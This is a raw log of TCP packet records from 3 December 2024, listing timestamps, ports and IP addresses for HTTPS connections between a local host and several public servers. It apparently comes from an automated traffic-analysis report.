Dec 3, 2024 17:41:10.435844898 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.551136971 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.551157951 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.551229000 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.551239967 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.551275969 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.568111897 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.568129063 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.568216085 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.568223000 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.568274975 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.584153891 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.584171057 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.584233999 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.584240913 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.584299088 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.599972963 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.600001097 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.600075006 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.600080013 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.600125074 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.614666939 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.614737988 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.614794970 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.614804983 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.614867926 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.626738071 CET	49671	443	192.168.2.7	204.79.197.203
Dec 3, 2024 17:41:10.631670952 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.631742954 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.631766081 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.631776094 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.631812096 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.631824970 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.636782885 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.636861086 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.636868000 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.636912107 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.636965036 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.636969090 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.636976957 CET	49701	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.636990070 CET	443	49701	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.683849096 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.683888912 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.683990955 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.684259892 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.684273005 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.685517073 CET	49704	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.685565948 CET	443	49704	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.685623884 CET	49704	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.685724974 CET	49704	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.685740948 CET	443	49704	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.686779976 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.686808109 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.686856985 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.687869072 CET	49706	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.687885046 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.687931061 CET	49706	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.687989950 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.687999964 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.688271046 CET	49706	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.688286066 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.688800097 CET	49707	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.688807011 CET	443	49707	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:10.688859940 CET	49707	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.688954115 CET	49707	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:10.688962936 CET	443	49707	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:11.782943964 CET	49677	443	192.168.2.7	20.50.201.200
Dec 3, 2024 17:41:12.102943897 CET	443	49702	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:12.103038073 CET	443	49702	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:12.103105068 CET	49702	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:12.103235960 CET	49702	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:12.103254080 CET	443	49702	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:12.209738970 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:12.209784031 CET	443	49708	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:12.209856033 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:12.210233927 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:12.210251093 CET	443	49708	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:12.602982044 CET	443	49704	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.604000092 CET	49704	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.604029894 CET	443	49704	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.604541063 CET	49704	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.604547024 CET	443	49704	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.606019974 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.606323957 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.606339931 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.606703997 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.606709003 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.613801956 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.614164114 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.614177942 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.614509106 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.614512920 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.622195005 CET	443	49707	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.622564077 CET	49707	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.622570992 CET	443	49707	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.622925997 CET	49707	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.622930050 CET	443	49707	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.629565954 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.629992008 CET	49706	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.630014896 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:12.630373955 CET	49706	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:12.630383015 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.038441896 CET	443	49704	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.038499117 CET	443	49704	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.038729906 CET	49704	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.038990974 CET	49704	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.039011955 CET	443	49704	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.039028883 CET	49704	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.039035082 CET	443	49704	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.042294979 CET	49709	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.042321920 CET	443	49709	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.042399883 CET	49709	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.042839050 CET	49709	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.042849064 CET	443	49709	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.045963049 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.045986891 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.046052933 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.046067953 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.046116114 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.046272039 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.046276093 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.046291113 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.046436071 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.046464920 CET	443	49703	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.046523094 CET	49703	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.049083948 CET	49710	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.049123049 CET	443	49710	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.049189091 CET	49710	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.049345016 CET	49710	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.049355030 CET	443	49710	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.059175968 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.059199095 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.059308052 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.059329033 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.062413931 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.062581062 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.062581062 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.062582016 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.065789938 CET	49711	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.065799952 CET	443	49711	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.065898895 CET	49711	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.066073895 CET	49711	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.066083908 CET	443	49711	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.068083048 CET	443	49707	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.068130970 CET	443	49707	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.068181038 CET	49707	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.068361998 CET	49707	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.068372011 CET	443	49707	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.068382978 CET	49707	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.068387032 CET	443	49707	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.070394993 CET	49712	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.070409060 CET	443	49712	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.070482016 CET	49712	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.070607901 CET	49712	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.070614100 CET	443	49712	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.088825941 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.088855028 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.088952065 CET	49706	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.088967085 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.089293003 CET	49706	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.089293003 CET	49706	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.089304924 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.089426994 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.089454889 CET	443	49706	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.090986967 CET	49706	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.091183901 CET	49713	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.091207027 CET	443	49713	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.093965054 CET	49713	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.094090939 CET	49713	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.094099998 CET	443	49713	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:13.283128977 CET	49705	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:13.283153057 CET	443	49705	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:14.061526060 CET	443	49708	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:14.061621904 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:14.096693039 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:14.096723080 CET	443	49708	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:14.097042084 CET	443	49708	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:14.109909058 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:14.114063025 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:14.114098072 CET	443	49708	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:14.114228964 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:14.159323931 CET	443	49708	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:14.584497929 CET	49714	443	192.168.2.7	20.109.210.53
Dec 3, 2024 17:41:14.584548950 CET	443	49714	20.109.210.53	192.168.2.7
Dec 3, 2024 17:41:14.584645033 CET	49714	443	192.168.2.7	20.109.210.53
Dec 3, 2024 17:41:14.587076902 CET	49714	443	192.168.2.7	20.109.210.53
Dec 3, 2024 17:41:14.587089062 CET	443	49714	20.109.210.53	192.168.2.7
Dec 3, 2024 17:41:14.588737965 CET	49698	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:41:14.591993093 CET	49715	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:41:14.592027903 CET	443	49715	104.98.116.138	192.168.2.7
Dec 3, 2024 17:41:14.592128992 CET	49715	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:41:14.592413902 CET	49715	443	192.168.2.7	104.98.116.138
Dec 3, 2024 17:41:14.592426062 CET	443	49715	104.98.116.138	192.168.2.7
Dec 3, 2024 17:41:14.710629940 CET	443	49698	104.98.116.138	192.168.2.7
Dec 3, 2024 17:41:15.007673979 CET	443	49709	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.008646965 CET	49709	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.008662939 CET	443	49709	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.009608030 CET	49709	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.009612083 CET	443	49709	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.031433105 CET	443	49711	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.031950951 CET	49711	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.031972885 CET	443	49711	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.032449007 CET	49711	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.032454014 CET	443	49711	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.137414932 CET	443	49710	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.138391972 CET	49710	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.138411045 CET	443	49710	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.139581919 CET	49710	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.139585972 CET	443	49710	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.191546917 CET	443	49712	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.192002058 CET	443	49713	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.192126989 CET	49712	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.192140102 CET	443	49712	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.192512035 CET	49713	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.192528009 CET	443	49713	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.192970991 CET	49713	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.192975044 CET	443	49713	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.192991018 CET	49712	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.192996025 CET	443	49712	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.451086998 CET	443	49709	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.451141119 CET	443	49709	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.451191902 CET	49709	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.451527119 CET	49709	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.451544046 CET	443	49709	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.451554060 CET	49709	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.451558113 CET	443	49709	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.454933882 CET	49716	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.454952002 CET	443	49716	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.455024004 CET	49716	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.455308914 CET	49716	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.455323935 CET	443	49716	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.473613977 CET	443	49711	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.473664045 CET	443	49711	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.473718882 CET	49711	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.474005938 CET	49711	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.474023104 CET	443	49711	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.474035978 CET	49711	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.474040985 CET	443	49711	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.478934050 CET	49717	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.478988886 CET	443	49717	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.479048967 CET	49717	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.479470968 CET	49717	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.479489088 CET	443	49717	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.591993093 CET	443	49710	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.592175961 CET	443	49710	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.592237949 CET	49710	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.592422009 CET	49710	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.592444897 CET	443	49710	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.592468023 CET	49710	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.592473984 CET	443	49710	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.596148968 CET	49718	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.596190929 CET	443	49718	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.596266985 CET	49718	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.596550941 CET	49718	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.596563101 CET	443	49718	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.662569046 CET	443	49712	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.662638903 CET	443	49712	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.662692070 CET	49712	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.663064003 CET	49712	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.663084984 CET	443	49712	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.663099051 CET	49712	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.663115978 CET	443	49712	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.666168928 CET	443	49713	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.666254044 CET	443	49713	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.666307926 CET	49713	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.666516066 CET	49713	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.666537046 CET	443	49713	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.666564941 CET	49713	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.666570902 CET	443	49713	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.666753054 CET	49719	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.666793108 CET	443	49719	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.666863918 CET	49719	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.667109966 CET	49719	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.667124033 CET	443	49719	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.669008970 CET	49720	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.669038057 CET	443	49720	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:15.669102907 CET	49720	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.669281960 CET	49720	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:15.669291973 CET	443	49720	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:16.341542959 CET	443	49714	20.109.210.53	192.168.2.7
Dec 3, 2024 17:41:16.341837883 CET	49714	443	192.168.2.7	20.109.210.53
Dec 3, 2024 17:41:16.354975939 CET	49714	443	192.168.2.7	20.109.210.53
Dec 3, 2024 17:41:16.355027914 CET	443	49714	20.109.210.53	192.168.2.7
Dec 3, 2024 17:41:16.355289936 CET	443	49714	20.109.210.53	192.168.2.7
Dec 3, 2024 17:41:16.408010960 CET	49714	443	192.168.2.7	20.109.210.53
Dec 3, 2024 17:41:16.491085052 CET	443	49708	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:16.491175890 CET	443	49708	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:16.491569042 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:16.491609097 CET	49708	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:16.834243059 CET	49722	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:16.834300041 CET	443	49722	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:16.834636927 CET	49722	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:16.834677935 CET	49722	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:16.834683895 CET	443	49722	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:17.482189894 CET	443	49718	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.482683897 CET	49718	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.482717991 CET	443	49718	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.483098030 CET	49718	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.483103991 CET	443	49718	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.487833977 CET	443	49717	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.488178968 CET	49717	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.488200903 CET	443	49717	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.488518000 CET	49717	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.488527060 CET	443	49717	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.505127907 CET	443	49719	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.505501032 CET	49719	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.505527020 CET	443	49719	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.505920887 CET	49719	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.505927086 CET	443	49719	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.588890076 CET	443	49720	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.589315891 CET	49720	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.589324951 CET	443	49720	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.589776039 CET	49720	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.589780092 CET	443	49720	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.606700897 CET	443	49716	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.607089996 CET	49716	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.607115030 CET	443	49716	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.607500076 CET	49716	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.607505083 CET	443	49716	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.928953886 CET	443	49718	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.929043055 CET	443	49718	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.929330111 CET	49718	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.932552099 CET	49718	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.932568073 CET	443	49718	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.932580948 CET	49718	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.932585955 CET	443	49718	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.935156107 CET	49723	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.935213089 CET	443	49723	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.935405970 CET	49723	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.935512066 CET	49723	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.935520887 CET	443	49723	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.936350107 CET	443	49717	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.936417103 CET	443	49717	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.936702013 CET	49717	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.936743975 CET	49717	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.936760902 CET	443	49717	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.936785936 CET	49717	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.936791897 CET	443	49717	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:17.939162016 CET	49724	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:17.939203024 CET	443	49724	13.107.246.63	192.168.2.7
